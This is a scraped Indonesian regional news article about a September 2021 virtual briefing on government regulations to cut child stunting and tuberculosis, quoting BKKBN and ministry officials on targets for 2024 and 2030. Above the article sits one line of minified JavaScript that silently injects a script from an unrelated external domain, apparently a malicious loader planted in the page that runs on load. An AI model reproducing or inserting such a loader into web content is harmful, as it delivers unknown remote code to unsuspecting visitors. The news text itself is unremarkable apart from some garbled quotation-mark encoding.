(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Penanggulangan stunting dan TBC (Tuberkulosis) di Indonesia menemui tantangan saat pandemi Covid-19.
Menyusul keluar Perpres No 72 tahun 2021 dan Perpres No 67 tahun 2021 yang ditandatangani pada Agustus langsung disosialisasikan.
Tindak lanjut kedua Perpres masing-masing Perpres 67/2021 tentang percepatan penurunan stunting dan penanggulangan TBC secara virtual, Selasa (28/9/2021).
Kegiatan dihadiri Kepala BKKBN (Badan Kependudukan dan Keluarga Berencana Nasional ) Hasto Wardoyo, Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan RI Muhadjir Effendy, Wakil Menteri Kesehatan Dante Saksono Harbuwono.
Kepala Dinas Kesehatan Kabupaten Banjar dr Diauddin ikut secara virtual dari Command Center Martapura.
Kepala BKKBN Hasto Wardoyo mengungkapkan, tindak lanjut tentang percepatan penurunan stunting pada pasal 8, pelaksanaan stranas penurunan stunting disusun dengan pendekatan keluarga Resiko Stunting Rencana Aksi Nasional (RAN PASTI).
“Mencakup penyediaan data keluarga beresiko stunting, pendampingan keluarga beresiko stunting, pendampingan calon pengantin, surveilans keluarga beresiko stunting, audit kasus stunting,†ungkap Kepala BKKBN.
Baca juga: Covid-19 Banjarbaru Melandai, Kalakhar BPBD: Sepekan Tidak Ada Catatan Kematian
Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan RI, Muhadjir Effendy memberikan apresiasi atas semangat pimpinan daerah dukungan masyarakat dalam penurunan angka stunting tersebut.
“Alhamdulillah, semangat dari pimpinan daerah dan dukungan masyarakat untuk melawan stunting cukup tinggi. Angka stunting di beberapa wilayah, saya kira sudah mengalami penurunan, walaupun kita juga dalam suasana pelik karena harus melawan Covid-19,†ujar Muhajir.
Sementara itu, Wakil Menteri Kesehatan, Dante Saksono Harbuwono menyebut, target intervensi spesifik pada tahun 2024 mendatang antara lain, bayi usia kurang dari 6 bulan yang mendapat ASI eksklusif mencapai 80 persen, anak balita gizi buruk yang mendapat pelayanan tata laksana gizi buruk mencapai 90 persen, serta remaja putri mengkonsumsi tablet tambah darah mencapai 58 persen.
Selain itu untuk TBC, Indonesia berkomitmen untuk mencapai eliminasi tahun 2030 yaitu menurunkan insiden TBC menjadi 65/100.000 penduduk. (kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.